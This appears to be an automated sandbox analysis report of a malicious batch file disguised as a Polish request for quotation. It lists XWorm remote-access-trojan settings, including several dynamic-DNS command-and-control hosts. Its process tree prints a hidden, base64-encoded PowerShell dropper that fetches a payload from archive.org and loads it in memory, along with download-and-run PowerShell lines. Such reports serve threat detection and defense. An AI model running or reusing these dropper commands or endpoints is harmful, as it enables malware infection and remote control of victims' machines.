Analysis

  • max time kernel
    149s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250619-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250619-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/11/2025, 08:10

General

  • Target
    Zapytanie_ofertowe_74000918_APSTEEL_Sp. z o.o.bat
  • Size 9KB
  • Sample251106-j2wr2aypgx
  • SHA256 0408a0ee74343b9fb9f0e4d28cdb19ba22f7eb17cfc008380067cd4efe720f0a
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://ia600407.us.archive.org/7/items/msi-pro-with-b-64_202511/MSI_PRO_with_b64.png

  • exe.dropper

    http://ia600407.us.archive.org/7/items/msi-pro-with-b-64_202511/MSI_PRO_with_b64.png

Extracted

Family
  • xworm

Version
  • 5.0

C2
  • manythingsilove.duckdns.org:5290

  • plentymattersub.duckdns.org:5290

  • pradaguccimaneto.freeddns.org:5290

Mutex
  • Egm5U9a14KHYpNTL

Attributes
  • install_file

    USB.exe

aes.plain

Signatures

  • Detect Xworm Payload 1 IoCs
  • Detects PhantomVAI loader aka VMDetectLoader, CaminhoLoader 1 IoCs
  • PhantomVAI, VMDetectLoader, CaminhoLoader

    PhantomVAI, aka VMDetectLoader, CaminhoLoader, is a loader delivering a wide variety of infostealers.

  • Phantomvai family
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell and hide display window.

  • Suspicious use of SetThreadContext 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Zapytanie_ofertowe_74000918_APSTEEL_Sp. z o.o.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:220
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$nontyphoidal = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('JHVybCA9ICdodHRwOi8vaWE2MDA0MDcudXMuYXJjaGl2ZS5vcmcvNy9pdGVtcy9tc2ktcHJvLXdpdGgtYi02NF8yMDI1MTEvTVNJX1BST193aXRoX2I2NC5wbmcnOyRieXRlcyA9IChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkRGF0YSgkdXJsKTskdGV4dCAgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpBU0NJSS5HZXRTdHJpbmcoJGJ5dGVzKTtpZiAoJHRleHQgLW1hdGNoICdCYXNlU3RhcnQtKC4qPyktQmFzZUVuZCcpIHskdmFsb3IgPSAkbWF0Y2hlc1sxXTskYXNzZW1ibHkgPSBbUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCR2YWxvcikpO1tDbGFzc0xpYnJhcnkxLkNsYXNzMV06OlZBSSgnPT1BZDRSbkx4QURNMElUTTFBVE14VWpNd0l6WHZaWGExRm5jaDlTYnZObUx3VjNieWQyY3U5MmN2OXlMNk1IYzBSSGEnLCcwJywnQzpcVXNlcnNcUHVibGljXERvd25sb2Fkc1wnLCdOYW1lX0ZpbGUnLCdjYXNQb2wnLCcnLCdjYXNQb2wnLCcxJywnVVJMJywnQzpcVXNlcnNcUHVibGljXERvd25sb2Fkc1wnLCdOYW1lX0ZpbGUnLCdiYXQnLCcxJywnMCcsJ1Rhc2tfTmFtZScsJzAnLCcnLCcnLCcnKTt9')); Invoke-Expression $nontyphoidal"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4844
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\casPol.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\casPol.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:1512
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1976
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'URL' -OutFile 'C:\Users\Public\Downloads\\Name_File.bat'; Start-Process 'C:\Users\Public\Downloads\\Name_File.bat' -WindowStyle Hidden"
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2212
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'URL' -OutFile 'C:\Users\Public\Downloads\\Name_File.bat'; Start-Process 'C:\Users\Public\Downloads\\Name_File.bat' -WindowStyle Hidden"
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:5448

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 3KB
        • SHA256 224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a
        • MD5 SHA1 SHA512

        ModuleAnalysisCache

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
        • Size 53KB
        • SHA256 4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
        • MD5 SHA1 SHA512 SSDEEP

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 4ce0c6d914780658ddf6bd581b851f7faa17e1c5522f2d6154583e0ad569ea2b
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 2970bb420cbeedbd0eb284a8c5bd2e54013b6c1bea5e495669bb52f44bf00f14
        • MD5 SHA1 SHA512

        __PSScriptPolicyTest_5e1kmyw1.qme.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5e1kmyw1.qme.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        memory/1512-27-0x00000000051E0000-0x00000000051F0000-memory.dmp

        memory/1512-11-0x0000000000400000-0x000000000040E000-memory.dmp

        memory/1512-14-0x0000000004F90000-0x000000000502C000-memory.dmp

        memory/1512-30-0x00000000066F0000-0x0000000006C94000-memory.dmp

        memory/1512-29-0x00000000060A0000-0x0000000006132000-memory.dmp

        memory/1512-25-0x00000000051E0000-0x00000000051F0000-memory.dmp

        memory/1512-26-0x00000000056A0000-0x0000000005706000-memory.dmp

        memory/1976-23-0x000001F6DD750000-0x000001F6DD794000-memory.dmp

        memory/1976-24-0x000001F6DDB70000-0x000001F6DDBE6000-memory.dmp

        memory/4844-0-0x000001981C690000-0x000001981C6A0000-memory.dmp

        memory/4844-10-0x0000019837A80000-0x0000019837B62000-memory.dmp

        memory/4844-7-0x000001981CB70000-0x000001981CB92000-memory.dmp

        memory/4844-1-0x000001981C690000-0x000001981C6A0000-memory.dmp